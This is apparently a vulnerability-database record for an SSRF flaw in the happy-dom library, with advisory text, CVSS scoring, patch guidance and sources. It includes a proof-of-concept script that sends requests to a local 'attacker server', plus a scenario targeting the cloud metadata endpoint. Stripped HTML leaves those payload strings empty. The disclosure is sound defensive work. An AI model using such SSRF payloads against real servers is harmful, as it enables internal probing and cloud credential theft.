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Response snapshot Oct 29, 2026, 01:26 UTC

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VulnerabilityCVE-2026-118660

Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML

happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing or elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false).

At a glance

Exploited
Not known
Severity
8.6 High (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
2 independent sources

What to do

GitHub lists first patched versions: happy-dom: 21.0.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-c8p4-j97h-3vg8 (opens a new tab)

What happened

Summary

happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing or elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.

Affected Versions

- happy-dom stylesheets fetch their href` URL via real HTTP requests

Continue reading

When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.

Verified test (attacker server receives requests):

const http = require('http');
const { Window } = require('happy-dom');

// Start attacker server
const srv = http.createServer((req, res) => {
 console.log(`SSRF HIT: ${req.method} ${req.url}`);
 res.writeHead(200, {'Content-Type': 'text/html'});
 res.end(' stolen ');
});

srv.listen(9995, () => {
 // iframe SSRF — happy-dom makes a real GET request
 const win1 = new Window({ url: 'http://localhost' });
 win1.document.write(' ');

 // stylesheet SSRF — happy-dom makes a real GET request
 const win2 = new Window({ url: 'http://localhost' });
 win2.document.write(' ');
});

Test output:

SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf

Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.

Cloud metadata attack scenario:

const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });

// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write(' ');

Impact

- Cloud credential theft — fetches AWS/GCP/Azure metadata - Internal network scanning — probe internal services and ports - Data exfiltration — read responses from internal APIs - Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input

Suggested Fix

Change defaults to disable external resource loading:

disableIframePageLoading: true, // change from false
disableCSSFileLoading: true, // change from false

Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.

Affected package ranges reported by GitHub: happy-dom: <= 20.14.6

Scores and how they were measured

CVSS base severity

8.6

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-c8p4-j97h-3vg8 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-c8p4-j97h-3vg8, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    NVD CVE-2026-118660 (opens a new tab)

    NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation.

    Published Checked

  4. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  5. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  6. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 28). Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML (CVE-2026-118660). https://kevwire.com/record/CVE-2026-118660

MLA

"Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML (CVE-2026-118660)." KEVWire, 28 Oct. 2026, kevwire.com/record/CVE-2026-118660.

Chicago

KEVWire. "Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML (CVE-2026-118660)." Last modified October 28, 2026. https://kevwire.com/record/CVE-2026-118660.

Evidence summary (plain text)

Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML (Oct 28, 2026).
happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing   or   elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.

- happy-dom  stylesheets fetch their href` URL via real HTTP requests

When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified.
CVSS 8.6 (version 3.1; evidence as of Oct 28, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-118660).
Sources:
GitHub-reviewed advisory GHSA-c8p4-j97h-3vg8: https://github.com/advisories/GHSA-c8p4-j97h-3vg8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-118660: https://nvd.nist.gov/vuln/detail/CVE-2026-118660
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-28T21:10:57.957Z&lastModEndDate=2026-10-28T22:40:57.609Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-28T20:41:00.896Z&lastModEndDate=2026-10-28T22:10:55.656Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-28T20:10:59.549Z&lastModEndDate=2026-10-28T21:40:57.581Z&resultsPerPage=500&startIndex=0
Record ID: CVE-2026-118660.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 29, 2026, 00:55 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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